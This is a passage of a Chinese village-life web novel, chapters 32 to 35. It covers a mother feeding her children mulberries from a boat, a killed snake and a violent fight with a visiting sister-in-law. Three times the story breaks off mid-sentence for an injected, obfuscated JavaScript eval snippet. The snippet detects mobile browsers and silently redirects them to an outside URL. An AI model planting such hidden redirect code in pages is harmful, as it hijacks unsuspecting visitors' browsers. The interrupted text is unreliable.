眼看周围一圈的孩子个个人手数根枝条吃得香甜，何竹、何泽姐弟有两个姐姐递桑枣枝。朱文河不用说，上头一窜堂哥往下扔，堂姐丛凤也在给弟弟折枝条。 只有青叶三姐弟抓了瞎，青叶上不去树，两个小的更是抱不拢树干。 “姐姐，我要吃桑枣。”青果拉着青叶的衣裳下摆可怜兮兮恳求，一双又圆又大的眼睛里含着一层水光，一根手指头含在嘴里嗦。 青皮没说话，但是眼神也是渴求地看着姐姐。 青叶既懊恼又带点自卑，自己怎么就学不会爬树呢？“别急，姐姐再找找。”张眼四望，想找一条漏网之鱼的枝条拽下来。 “青叶，看这里。”一个男孩声音从枝丫间传来。 三人抬头望去。 朱文江手里拿着一根粗壮的枝条，坐在一截树杈子上摆动，“我扔下去，你在下面接住。” “嗯！”青叶喜不自胜，忙不迭开口应下。 枝条飘落下来，三双眼睛紧巴巴盯着，还不等挪脚，斜后方冲过来一个小身影，一把抓起就往嘴里塞。 青叶握紧拳头，满眼失落，若是别人她就冲上去抢了，可来人是朱文江的亲弟弟，她怎么好跟人家抢。 “哇！姐姐，我的桑枣。”到手的吃食又进了别人的嘴，受不住这个打击，青果终于没忍住哭出声，眼睛里大颗泪珠连成线滚落。 青叶急得也想哭，额头冒出薄汗，柔声安抚小弟给他抹眼泪。 “青叶，过来。”周邻在另一棵树上喊道，他站在两根树干交错处，这棵树更高大，枝条更繁茂，只有几个十几岁的少年爬了上去。 青叶牵了两个弟弟跑过去，周邻蹲下身子往下递桑枣枝，“你们先吃，吃完了我再递给你。” 青叶感激道谢，捡起掉落在地上的枝条分给两个弟弟，看他们迫不及待摘了果子就吃。 青果的眼睛还含着两泡泪水来不及滑落，脏兮兮的小脸蛋上冲出两条泪痕，此时也顾不上擦，混着口水一起吞入肚。 青叶也拿了一根枝条摘果子吃，总算摆脱掉那种无能为力、满身窘迫的困境。不用像个可怜虫似的等着哪一个注意到他们，并愿意随手一扔的善意之举，她长长松了一口气。 周邻既要摘了自个吃，又要喂杏娘家的三只小馋猫，四个人虽说都没吃尽兴，但总好过一口没捞着。 傍晚太阳偏西杏娘从田里回来，最后剩的两块水田杂草都拔完了，顺带把田埂上的草也割了，接下来能松散几天。 回家路上看到成群的孩童嬉笑打闹往家走，个个吃得嘴角五颜六色，衣服像打翻了调料罐，有的甚至勾破了好几处。 到家一看自个的三小只，简直就是没有对比就没有伤害。靠人家施舍才能吃到零嘴不说，脸蛋上白白净净只嘴角一点紫色，衣服上也干净如初没沾染半点污迹。 这说明了什么？ 说明自家的三个傻蛋连吃的都抢不过人家，可怜兮兮干巴巴望着别人大块朵硕，自己咽口水。 想当年她李杏娘是何等样人？ 白水湾里闻风丧胆的小魔头啊，所到之处鸡犬不宁，寸草不生，见树就爬，遇水会游，有什么能难倒她？ 怎么到了她的儿女这就掉链子了呢？ 不说全部的风采吧，连一二层的本领都没传承下来，这难道就是传说中的盛极必衰，物极必反？ 可这反的也太彻底了些，好歹留下一星半点儿想头不是。 想到自家三个小可怜的凄惨状况，杏娘的一颗慈母心摔成了八瓣。是可忍孰不可忍，叔可忍婶都不能忍，她必须帮小崽子们找回场子。 杏娘又跑到周老爷子家借用小船，载了三小只上船往河对岸划去。 桑枣树喜欢生长在水边，尤其是荒无人烟，杂草丛生的地方。 河对岸的坡上长了一溜烟的桑枣丛，沉甸甸的枝条垂落在水面。只不过野草、灌木长得比人还高，里头藏了无数的蛇虫鼠蚁，一不留心咬上一口可不是开玩笑的。 在船上就无此担心，坐在船舷上仰起头就能抓到枝条，一把一把的往下撸桑枣。 姐弟仨可算体会到富可敌国是种什么体验了，就是成窜的果子往河里掉也毫不心疼。吃的是汁水横溅，头上、脸上、身上像开了染料铺，如同掉进油缸的小老鼠，兴奋得找不着北了。 杏娘没有责骂他们，让他们吃个尽兴，也不催促，用竹篙别住小船停稳当，一个地方吃完了划一竿子换个地方。 有妇人在河边清洗碗筷，大声笑着打趣：“杏娘，田里扯了一天的草还不够累哪，还有闲心跟孩子们玩闹？” 杏娘爽朗的笑声飘荡在水面，“四嫂，划船轻松着呢，再说了，就算是累，我也得让小崽子们吃个过瘾。” “你倒是个疼孩子的。”张氏甩干碗筷上的水，站起身乐呵。 “也就你们这些小年轻有闲情逸致陪孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457591|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子玩，等你到了我这个年纪，不让他们饿肚子就够操心的，其他的就管不了了。” 杏娘笑笑没说话，即便她能活到七老八十走不动路，小孙孙要吃桑枣子，她就是杵着拐杖也得上啊。 理念不同，不必争辩，徒惹是非。 有笑话杏娘太闲，吃饱了没事干的，有看不惯她太娇惯孩子的，还有看热闹不嫌事大的。不管怎样，这条垄上的孩子却都是羡慕丛家三姐弟的，毕竟他们的娘不仅没有打骂他们，还陪着一起胡闹，替他们赚足了眼球。 在这一天晚上的梦里，青叶也是笑眯眯地大把抓桑枣吃，再也不用捡别人扔下来的，再也不怕爬不了树。 在此后的许多年里，青叶一直记着这天傍晚的夕阳、晚霞、水面，沉甸甸的桑枣扑面而来，压到她的脸上，黑甜的香味在鼻腔弥漫，久久不散。 长大后的她忘记了许多人、许多事，唯有这天晚上清甜的滋味一直沉淀在记忆深处。 把船还给周老爷子的时候，杏娘送了周邻一提篮桑枣，以感谢他的投喂之恩。 母慈子孝的氛围短暂地充斥丛三老爷的家里，第三天还不等天黑就被一声河东狮吼破了功。 “杏娘！李杏娘！”孙娇娘高亢的嗓音回荡在丛家堂屋，“看你小儿子做的好事！” 杏娘切菜的手一顿，闭上眼深吸一口气，如果可以，她真想就地遁走。惹谁不好，偏要招惹朱家的母老虎。只可惜躲得过初一躲不过十五，跑得了和尚跑不了庙啊！ 杏娘生无可恋地往堂屋走，刚走到灶房门口，头一低，手里还拿着菜刀。 呵！这是打算火不够旺，还去浇两桶菜油不成？转身回灶房放好菜刀，走去堂屋。 娇娘一手提溜着青果的胳膊，一手拿一根鱼竿，青果岂是束手就擒的老实孩子？使l浑身解数挣扎扭动，奈何胳膊拧不过大腿，就像压在五指山下的孙猴子—徒劳无功。 杏娘眉头一皱，旋即很快松开，快步上前握了她的手，“朱二嫂，什么事值得你这样大动肝火，你好好跟我说，我来收拾他。” 娇娘一肚子火憋得久了，此时火力全开，“你家三小子不是一般的皮啊，好好的作践我的鸡娃干什么，我家小鸡哪里得罪他了？让他这样下狠手。” 原来朱青山也是个资深钓鱼爱好者，小儿子看着好玩闹着也要一根鱼竿。 朱青山本就是个老好人，更何况是儿子的要求，找一根粗细匀称的麻竿，顶头缠一根麻线，简易鱼竿即成。 朱文海拿了鱼竿在青果面前显摆，青果缠磨着丛三老爷也做了一根。 本来相安无事玩的好好的，青果突发奇想捉了一只小鸡娃栓了脚脖子，倒吊着玩。甩得小鸡稚嫩的叫声中满是惊恐，他倒越发得意，朱文海有样学样也捉了一只。 等孙娇娘发现的时候，两只小鸡已经奄奄一息，只剩出气无进气了。 让她出离愤怒的是，“你家青果皮就不说了，问题是他凭什么逮着我家的鸡娃霍霍，怎么不抓自己家的？” 她儿子抓的那只捏着鼻子认下也就是了，另一只可不能轻易放过。 杏娘看向小儿子，青果不敢跟她娘对视，躲闪避开，看来是真的了。 “有话好好说，别气。”杏娘扯开一个笑脸，“要真是我家青果干的好事，我赔二嫂一只鸡娃，我家里的小鸡随便挑，看哪只顺眼就挑哪只。呵呵，别气坏了身子。” 最后杏娘赔出去一只健壮小鸡，丛三老爷家的小鸡数成了九，久违的竹笋炒肉又在丛家响了起来。 33. 第 33 章 青果这孩子，皮是真皮，只有他想不到，没有他做不到的。 但他有一个好处是不记仇，头天晚上挨的揍，隔天早上无事人一样赖在他娘身上撒娇。在他看来打一顿事情就翻篇了，再没有记仇这回事。 早起两婆媳在灶房准备早饭，陈氏煮稀饭，杏娘切咸菜。 三姐弟在后院水塘边玩耍，丛五老爷家水塘边挨着丛孝家的这面种了一片竹子。竹竿细长，分支繁多，密密簇簇挤成一大片，里头密不透风。 自从青叶有一次不小心在竹子里面拿出一窝鸟蛋，这里就成了小子们时常光顾的地方。 当时青叶找到的那窝鸟蛋是青绿色的，个头很小，跟大拇指差不多，总有十来个的样子。拿到屋子前面去玩时，被几个小子围着一顿羡慕，其中朱家的一个小子说了句：这么小的蛋，好像是蛇蛋。 吓得青叶一蹦三尺高，手里的鸟窝扔出三丈开外，逗得几个小子哈哈大笑，鸟窝里的蛋也摔个稀碎。气得青叶跺脚，到底也没弄清楚是鸟蛋还是蛇蛋。 三姐弟挨着竹子搜索，想要找出一件宝贝。 “姐姐，我看见蛇了！”青果语气中满是兴奋，还不忘压低声音凑到姐姐耳朵边说话。 “在哪，在哪？”青叶一边问，一边用眼睛遍地搜罗，这根棍子太细了，不行…… 找到了，这根很粗，正好。 轻轻走过去捡起棍子，青果见状拿起旁边的一根，青皮虽不清楚状况，也顺手拿起地上的一截干树枝。 三人猫腰慢慢靠近角落的一片竹子，只见一条红黑条纹相间的蛇静静卧在一片枯树叶上。 姐弟仨都不用眼神暗示，举起棍子就是一顿猛抽，期间青皮还往他姐那边挤了挤，“姐，去旁边点儿，我都打不到了。” 直抽得三人有点气喘了才停下，刚才还颜色艳丽栩栩如生的蛇此时已面目全非，蛇头被抽得稀巴烂。 丛五老爷在后院砍杂草，听到动静走出来，“你们几个小家伙在干什么，不能玩水，知道吧？” “我们打死了一条蛇。”“颜色可漂亮了，红色的呢。”清脆的娃娃音争先恐后向五爷爷邀功。 “我看看。”丛五老爷拨开几个孩子，用树枝挑起死蛇，“是条火赤链，多好看的一条蛇，被你们打成这样。下次记得只打蛇头，不要打身子，知道了吗？” “知道了。”异口同声的回答，双方都不觉得这个对话有什么问题。 丛五老爷挑起蛇往家走，“这条蛇五爷爷拿回去泡酒了，等会儿给你们拿糖吃，下次抓到了蛇也拿来给五爷爷。” 姐弟仨忙应下，打蛇还能换糖吃呢，多好的事。 早饭时杏娘随口问了句跟谁说话，听说是丛五老爷，也就没在意。三个小的也丝毫不觉得打死一条蛇算什么大事，用不着跟娘亲汇报。 天气越来越热，应是不会在变温，杏娘打算今天一天把两张床上的床单、被套、枕头套等统统洗干净收起来，换上夏天的薄单子。 这可是个大工程，拿出大木盆倒满温水，放一套进去泡湿了打皂角开始搓。 青叶每次看她娘洗床单，都觉得这是一个不可能完成的任务。就靠双手搓的巴掌大的地方，搓一会儿换个地方，沿着四个边洗完，还有中间的一大片等着，这得搓到何年何月，双手皮都搓秃了？ 青叶心疼她娘，每次都会拿一个小板凳坐旁边捏一角学着搓。搓半天皱眉一打量——毫无变化，也不知道是洗干净了还是本就不脏，不由气馁。 “叶儿，玩一会儿就别搓了，仔细手疼。” “嗯，我帮娘捏肩膀。” 小拳头在颈边轻轻捶打，杏娘觉得有点痒，不忍拂了女儿的一片好意，强忍着没躲开，却是笑得不能自已。 母女两正亲香，堂屋传来一片喧哗，好似家里来了不少人，说话声不绝于耳。 青叶不等她娘使唤，兴冲冲往堂屋跑，下一刻又跑了回来，“娘，姑妈和大伯娘来了。” 丛娟和林氏？她俩什么时候凑到一起了？ 自从出了王德那档子事后，除了逢年过节回娘家，丛娟轻易不踏丛家门槛。也不像之前那样三天两头回娘家打秋风，好像真的洗心革面，改邪归正了似的。 至于林氏，那更是贵人不入贱地，免得污了她教书先生家娘子的体面。 这俩人一同上门能有什么好事？ 只怕是蛇鼠一窝，狼狈为奸罢了，杏娘懒得理睬她们，之前顾忌亲戚情分，再不情愿也好茶好水，好饭好菜地招待。 现下纯粹是想屁吃，撕破了脸再无事人般说笑，她脸皮没那么厚，也不想那么做。她不一扫帚扫出去已是够客气的了，不想陪她们搭台唱戏。 杏娘自顾在院子里洗床单，连出去打声招呼的兴致都没有，“你大伯父和丛文哥没回来？” “没有，我没看到他们，就姑妈、大伯娘和荷花表姐三个人回来的。” 杏娘点点头不再说话。 “杏娘，杏娘！”陈氏欢快的声音自堂屋响起，“家里来客人了，沏壶茶过来。” 杏娘纹丝不动，就当没听到，丝毫没有起身的打算。 青叶眨巴几下眼睛，露出若有所思的表情，轻声跟她娘咬耳朵：“娘，我去堂屋看着，她们说你坏话我就来告诉你。” 杏娘刚想阻拦，她已经跑了出去，也就随她了。 堂屋一片欢声笑语，好不热闹。 丛娟拿了一块叠好的青色布料在陈氏身上比划，“瞧瞧，这颜色多清亮，衬得娘的脸色白里透红，我再没见过这般有福气的老太太。还不止呢，您仔细摸摸这布料，多细滑软和，这可是细棉布，穿在身上得多舒坦。娘，你可真是太有福气了，我长这么大都没穿过这么好的布料呢。” 陈氏笑得见牙不见眼，缺了两颗牙的嘴巴能看见牙龈。 “我就说这料子摸起来手感怪好的，跟家常穿的不一样，缘故在这里呢。还有这个颜色，也确实衬我，我年轻的时候就爱穿这个颜色。那时候别人都爱大红大绿，我不一样，我皮子白，穿什么都好看。” 丛娟面不改色听老娘自吹自擂，笑吟吟接过话头：“可不是，我就是随了娘的好皮子，人都说一白遮三丑，可见啊白的人穿什么都好看。不过呀……” 说到这，她故意停顿了一下，“不过娘没说到最重要的一点？” 陈氏疑惑：“什么最重要的一点？” “就是买料子的人啊！”丛娟用帕子捂着嘴角笑得花枝乱颤，极尽夸张之能事。 “要是没有大弟妹买的料子，娘就是想的吃不下饭睡不着觉，那也是白想。那布庄的伙计还能把料子送到您老家里来？这也就是娘有个孝顺的好儿媳，出去打听打听，谁家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457592|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿媳能做到大弟妹这般的，反正我是没见过。” 为了衬托林氏的贤惠，她不惜自我贬低：“说句不好听的话，就拿我自个来说，我就是想孝顺我们家老太太，那也是有心无力。兜里掏不出半个铜子，我还能跑去扇人伙计两耳光。说到底还是大弟妹有本事，光有本事不行啊，还得有孝敬老人的那片心。娘说是吧？” 陈氏笑容略僵硬，随即若无其事冲林氏露出一个温和的笑容。 “谁说不是呢，这条垄上有谁不知道我大儿媳是最孝顺不过。自个当了教书先生家的娘子，搬去镇上住还不忘捎带上我们两个老的，谁家媳妇能做到这般？怕是巴不得好甩掉老的自个过活呢，也就你大弟妹实诚。” 想起镇上的快活日子，陈氏到底没忍住牢骚：“要不是你二弟这边实在离不得人，我们两个老的且还在镇上享福呢，那才叫舒坦。” 林氏捏着帕子按压嘴角，一派云淡风轻，“娘谬赞了，这是儿媳应当做的，不值当什么。” 什么叫体面？ 这就叫体面，不用她出面，自有人替她敲锣打鼓架梯子，说她想听的话，做她不想做的事。她甚至都不用开口，只要表现出高兴或者不高兴，自会有人替她解决烦恼。 她十几年辛苦谋划，劳心费力供丈夫苦读，为的是什么？ 还不就是这一刻，别人都说她痴傻不知变通，供一个读书人岂是这般容易的事。辛辛苦苦几十年，到头来怕是要竹篮打水一场空。 可她偏不信这个邪，丈夫本就是个读书的好苗子，只不过时运不济出不了头。 现下可不就时来运转了，那些蠢货只知道盯着眼前的那点小利，哪里知道功名的难能可贵。只要能供出一个读书人，付出任何代价都是应当的。 那些人现在可不就是后悔了？ 后悔也没用，他们只能日复一日年复一年的面朝黄土背朝天。哪像她眼下过的日子，风吹不着，雨打不着，不用忍受烈日当空晒的人脱皮，也不用面对寒风刺骨刀刀刮肉。 那边两母女还在你吹我捧的说个没完，林氏惬意地闭上眼睛陶醉片刻。 有空的话还是得常回老家来看看，总不好叫人说他们富贵了就不认家乡父老了，教书先生也得有个好名声不是？ “来了这半日，怎不见二弟妹出来？她可是忙的很？也没看见爹？”林氏装作随意地问。 “她有什么好忙的。”陈氏不耐烦朝后院翻了个白眼，有了对比越发显出小儿媳的顽劣。 “每天洗衣裳、做饭、扫地，家里家外的，哪一样少得了我，她现下眼里还有谁？可怜我一把老骨头，还不知道什么时候被她折腾闪架。至于你爹，闲着没事干跑你二伯父家摆龙门阵去了。” 林氏柔声宽慰：“二弟妹家孩子多，二弟又不在家，还得娘多担待，要没了爹娘，这个家可成什么样子？等孩子们大了就好了，他们还能不孝顺爹娘？” 陈氏没好气哼了声，“等到他们能孝顺我，我坟头的草都不知道长的多高了。” 几个女人叽叽喳喳说个没完没了，王荷花无趣地撇嘴，看着紧闭的西厢房，她朝青叶露出一个挑衅的笑容，悄悄走过去推开门。 青叶的眉头皱成了一条毛毛虫，抿紧嘴巴也跟了进去，妇人们都没注意到这两个小不点的动作，不成想片刻后一声尖锐的童音穿透丛家前后院。 34. 第 34 章 西厢房里窗明几净，阳光透过敞开的窗棂洒在地面，细小的灰尘在空中飞舞，整个房间布置的温馨舒适。 杏娘当初的陪嫁箱子多，足有六个大红樟木箱，她又是个见不惯邋遢，爱收拾的性子。 过季的衣裳鞋袜被褥全锁进箱子，当季要用的分门别类在柜子里摆放整齐，针头线脑零碎小东西用笸箩装了置于柜子顶。 这个房间明面上看不见任何杂乱无章的物件，所有东西都井然有序。桌子、椅子擦得一尘不染，床单铺得光滑如镜，就连梳妆台上的花朵儿都开得格外灿烂。 花？王荷花凝神细看，瓶子里插的几朵碗口大的艳丽花朵吸引了她的全部目光。 这些花可真漂亮，她不知道怎么形容。但是这些明黄的、粉红的、淡蓝的花朵仿佛给这个房间注入了无限生机。 一切都鲜活了起来，睡在这样的房间里连空气似乎都是香甜的。尤其是那朵鲜红如血的，比新娘子唇上的口脂还要红。 王荷花情不自禁走过去，离得近了闻到一股沁人心脾的芳香，她不由伸出手…… “啪”的一声，青叶无情打断了她的梦境，“眼看手不动，这是我娘的东西。” 这几朵绢花还是当初从外祖母家带回来的，外祖父给大户人家掐算宅院破土动工的时辰，指点风水时，人家赠送的薄礼中的其中一个小匣子。 制作绢花的材料是一种玉陵县才有得卖的丝绸，经过上浆、染色、窝瓣等一系列工序特制而成。其上还撒了用花草制成的香料，异香扑鼻。 这几朵姿态优美、色泽悦目的绢花，老李家的孙女们都没见过花瓣，全给了青叶。 青叶也是异常爱惜，自个房间只放了一朵，其他的都摆在娘亲这里，就是为了让进来的人一眼就注意到，进而赞誉连连。 荷花被打了手，眼里闪过一丝恼恨，她何曾遭受过此等待遇。 丛娟生了三儿两女，荷花是老幺，只比青叶大了一岁。上面的几个哥哥姐姐娶妻嫁人都已成家，不成想连孙子都有了，丛娟竟然老蚌生珠怀了老幺，生下个老来女。 彼时整个王家都靠丛家提携才能吃饱饭，自然唯丛娟马首是瞻，唯她命是从，她在王家就是说一不二的山大王。 得她疼爱的荷花自然在家里拥有独一无二的地位，王家人口嘴杂，满满登登一大家子纷争不断。每天不是你偷吃了我一口油饼，就是他穿了我的一件衣裳，性子若不蛮横点，只怕肚皮都填不饱。 荷花既能独得宠爱，自然言传身教，有样学样，也养成了个泼皮、无赖的性子。想要的东西就要抢到，抢不到宁愿毁掉也绝不便宜旁人。 当下看青叶如此宝贝这些破花，荷花趁其不备突然冲过去伸手就抓。 一抓竟然没抓破，原来是布料做的，没想到如此栩栩如生，像活的一样。虽没抓破，却是拉扯变了形。 “你做什么？” 青叶没料到世上竟有这种人，已经明确拒绝了她，还敢理直气壮地撕毁别人家的物件，这简直就是强盗行径。对这种人她也没客气，趁她愣神的功夫，用尽全力一把推了出去，心疼地抚摸花瓣。 荷花不留神被推了个趔趄，身子后退撞到桌子，后腰被撞得生疼。 这下可捅到了马蜂窝，她岂是甘愿吃亏的性子？当下二话不说，冲上去就薅了青叶的头发往后拽。 青叶猝不及防之下被扯的头皮发麻，荷花个子比她高一点，但却没她壮实。 她打小吃得好，杏娘舍得花钱，什么好吃买什么，吃嘛嘛香，身体倍儿棒。论圆润讨喜，这条垄上少逢敌手。 青叶强忍着疼痛转过头也伸手过去拽荷花的头发，两个女孩厮打成一团。你踢我踹，有来有往，互不相让，不一时倒在地上成了两个滚地葫芦。 荷花瞅准时机一口咬上横在眼前的胖胳膊，青叶闷哼一声，也不客气。憋着气使劲翻到上面，一屁股照着她的肚子坐下去，她这吨位，在同龄里可不是盖的…… 一声凄厉的惨叫划破丛家上空，惊得树上的鸟儿惊慌失措煽动翅膀，扑腾飞远了。脚下的树枝上下抖动，仿佛也受到了惊吓，不由自主地颤抖。 丛娟听到女儿的惨叫惊得一哆嗦，拔腿就往西厢房跑。 推开门看到女儿被人压在身下，当下眼睛里充血，怒吼着冲上来把人推开：“你在做什么？” 一推竟然没推动，只比她慢了一步的杏娘也跑了进来。 不管三七二十一上前搡开丛娟，拉起青叶搂抱着轻轻拍抚，“没事了，没事了，娘在这呢！” 荷花趴在丛娟怀里哭地嘶声裂肺：“娘，我肚子好疼，青叶压在我身上，用屁股坐我肚子，呜呜，我肚子坐坏了。” 丛娟抱着女儿心疼得眼睛通红，眼角泛着泪光，厉声斥骂始作俑者：“李青叶，你个不通长幼尊卑的小畜生，竟敢对表姐下这么重的狠手？” 有娘在身边，青叶多出无限勇气，两条浓密的眉毛微蹙，大声反驳：“是她把我娘的绢花撕坏了。” “一朵破花有什么了不起，你就是心狠手辣，看你表姐不顺眼。我们可是回娘家的客人，有这么对待客人的吗？真是有什么样的娘就生什么样的贱种。” 青叶听不大明白，不过并不妨碍她理直气壮的瞪回去，“这不是破花，这是我外祖母送的绢花，名贵的很。” “好哇！”丛娟怒从心头起，一个小辈竟然敢一而再再而三地挑衅，谁给她的胆子。 “李杏娘，你养的什么猪狗不如的混账东西，她眼里还有没有我这个姑妈？这是想要了的我儿的命，也要了我的命啊，好歹毒的心肠。这样的孽障还留着做什么，趁早扔到河里淹死算了，大家乐得清静。” 青叶本还在大口喘着粗气，听到这里也吓得“哇”一声痛哭出声，“娘，是她先打我的，不要把我扔到河里。” “不怕，不怕，没人敢扔。”杏娘柔声安抚女儿，嗓音平淡如水，说出的话却阴狠如刀，“谁要敢扔我的女儿，哪怕拼着活不成了，我也会要了她全家老小的命。” 丛娟气得胸脯起伏，胸腔里团着一股气仿似要炸开，她颤抖着手指着杏娘。 “你个混账东西，你眼里还有没有个上下尊卑了，啊？你爹娘就是这么教你的，你个是非不分的蛇蝎妇人，我今儿非得替你爹娘教教规矩，免得出去说我们丛家没教养。” 说着话上前就要扯杏娘的头发，这母女俩的打架路数还真是如出一辙，除了薅头发、踢腿、咬人就没别的招数了。 这在杏娘眼里都不够看，她李杏娘何许人也，少时跟小子们抢地盘抢吃的，可没少打群架，怎么下黑手怎么打人疼心里门清。 这都是经过千锤百炼锻炼出来的身手，不是她吹牛，丛家的这几个女人加起来都不是她的对手。 杏娘老早就看这个大姑姐不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457593|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顺眼了，隔三差五往娘家跑耍姑奶奶的威风，不是混吃混喝就是挑拨离间，脸皮还奇厚无比。 今天送上门让她修理，她可不会客气。老虎不发威，都当她是病猫了是吧，今儿且要她们瞧瞧她的手段。 不等丛娟走近，干脆利落站起来转身就是一个大耳光，回手时反手又是一个。 丛娟被打懵了脑子，耳旁还回响着挨耳光的噼啪声，不相信发生了什么。脸上的火辣却提醒她刚才发生的事，真实的不能再真实了，一时楞在原地，“你……” 杏娘可不会心慈手软，打架么，就是要找空子下狠手，先下手为强，后下手遭殃。要把对方打怕，打求饶，打得下次看见她绕道走。 她眼里戾气横生，左手一把拽起丛娟的发髻顺势扭了一圈。 头皮被扯得生疼，脑袋被迫仰起，丛娟哀嚎一声，不得不伸出两只手掰杏娘的手腕。杏娘左手越收越紧，右手快速挥出来回抽动甩耳光，正手一个，反手一个，正手一个…… 房内众人惊得目瞪口呆，不明白怎么短短几息的时间就打起来了，而且还是单方面的殴打…… 两个小女孩嘴巴大张能塞下鸭蛋，连抽泣都忘记了，明晃晃的眼泪挂在下巴上要掉不掉。 林氏震惊地望着眼前的一幕，如身在梦中，事情发生的太突然，她一时都分不清是自己眼花还是在做梦。 只有陈氏心疼女儿被打，有心想上前帮女儿，又惧怕杏娘的威势，只敢在一旁挥手跺脚，“住手，别打了，住手……” 房间安静的只听到甩耳光的清脆声来回荡漾…… 还是林氏猛一摇头反应过来，快步上前拦住杏娘的手，“好了，好了，别打了，再打要出人命了，不能打了。” 杏娘最后一耳光甩出去，抬起脚往丛娟身上一踹，双手一推，丛娟被踹飞趴在地上。 她拍了拍双手，完美地结束了这场绝对碾压的斗殴，“怎么样？还打吗？服不服，不服的话咱们接着来。” 林氏拉住她的胳膊不敢放松，就怕一松手她又冲了上去。今天仿佛才第一次认识这个弟妹，印象中的弟妹形象彻底破灭，当下竟不敢直视她的眼睛。 如一滩烂泥趴在地上的丛娟不知今夕是何夕，眼前金星直冒，双耳轰鸣，脸颊通红似被撕掉一层皮，腰上被踹的地方也一阵一阵的疼，扑在地上的胳膊蹭破了皮…… 好半晌才清醒过来的丛娟伏在地上哀哀哭泣，早没了先前的趾高气扬，身体上的疼痛和精神上的羞辱双重打击向她袭来。 “我不活了啊，我活着还有什么意思？被娘家人这样打骂，我还不如死了算了。你今天就把我打死好了，正好死在娘家，我也有个安身之地。” “想死？这还不简单。”杏娘冷笑一声，双手交叉抱在胸口。 “我心肠好给你指条明路，出了这个家的大门往前走几步，一头往河里囊进去，有多深囊多深。死死的抱头蹲在底下，我保证你今天就可以去阎王爷面前报道，死得不能再死，死地透透的。兴许还能在阎王爷面前赶上杯热茶，不用谢我，好走不送。” 这还是人说的话吗？ 丛娟好悬没气晕过去，要不是还趴在地上，指不定又会踉跄倒地。 杏娘看着浑身颤抖，虚弱的仿佛下一瞬就要断气的大姑姐，眼含冰霜，开弓没有回头箭，决定今天严格执行她娘的行事风格：要么不做，要么做绝。 35. 第 35 章 小的败下阵来，老的迎难而上。 “你……你……”陈氏气急败坏地指着杏娘，“你个泼皮破落户，你算什么东西，敢在我们丛家撒野，今天我就替我儿子休了你这泼妇，你给我滚出丛家。” “休我？”杏娘冷哼一声，不屑地挑起眉头。 “娘，您老人家是不是没搞清楚状况，丛家已经分家了。准确地说，您都不是这家的人了，您应该跟着大儿子一家才是，您有什么资格在这指着我的鼻子骂？” 看向委顿在地的丛娟，“怎么？您想给女儿讨公道，那您老得掂量一下，出了这个家的门，您老可住哪？您大儿子还愿不愿意接您进门哪？” 陈氏眼睛嘴巴大张，不可置信地望着杏娘，小绵羊一朝变了性，怎么就成了母老虎呢？她不明白之前规矩、体面的二儿媳为何突然像变了个人一样。 殊不知女子本弱，为母则刚，况且杏娘丛小就是头母老虎，只不过嫁人后收敛了利爪，现在不过是伸出来舔舔毛而已。 单纯听话的儿媳还能拿捏一二，对着这么个混不吝，陈氏束手无策，转身趴在女儿身上涕泪纵横。 “我的儿，我可怜的孩子啊！娘没用哇，今天咱娘俩就一块死了吧，省的碍了旁人的眼。我的儿子哟，你死哪去了，你再不回来老娘要被人逼死了……这个世道还有没有王法了，我的老天爷啊，你怎么不降下道天雷劈死那不孝顺的孽畜……” 杏娘朝天翻个白眼，这家的女人就没别的招数了吗？ 骂人跟唱戏似的，还能上下起伏有声有调？ 林氏额头突突跳，生平头一回，她觉得这个世道癫成了她不认识的样子，这个世上竟也有她无法掌控的境况。 房内尖锐的哭嚎把林氏刺激得太阳穴一阵一阵抽疼，她很想甩手走人，可理智告诉她不能走。今天发生的事如果传扬出去，杏娘固然没有了好名声，难道她还能得什么好？ 她是长嫂，也是大儿媳，按理有规训、教导弟妹之责，劝导婆母之能，弟妹不懂事，她也不懂事吗？ 她也的确在现场，这是不争的事实。 何况弟妹有个神仙样的老爹，只要不是太过份的事情，人们看在她爹的份上都会大事化小，小事化了，最后不了了之。 她不一样，她没有这样强有力的娘家，她还有一个正当教书先生的丈夫。 这个丈夫急需好名声来巩固他的事业，她还有一个正在学堂念书的儿子，以后也会走功名之路，更需要一个好名声铺路。 所有的这一切都像荆棘一样铺在她眼前，迫使她趟过去，迅速解决掉面前的争端。 林氏深吸一口气，握紧的拳头松开，心平气和对杏娘道：“弟妹，这次是你过了，谁家儿媳敢这样跟婆婆说话，你的名声还要不要了，二弟的名声还要不要了？要是让外人知道了，还以为我们丛家目无法纪，藐视尊长。” 看对方毫不在意，云淡风轻看过来，她压低嗓音：“你就算别的不在乎，李老爷子的名头总要顾忌一二，更重要的是儿女们以后的婚嫁前程，难道这些你都可以不在乎？” 同是当娘的，最是知道当母亲的软肋在哪。 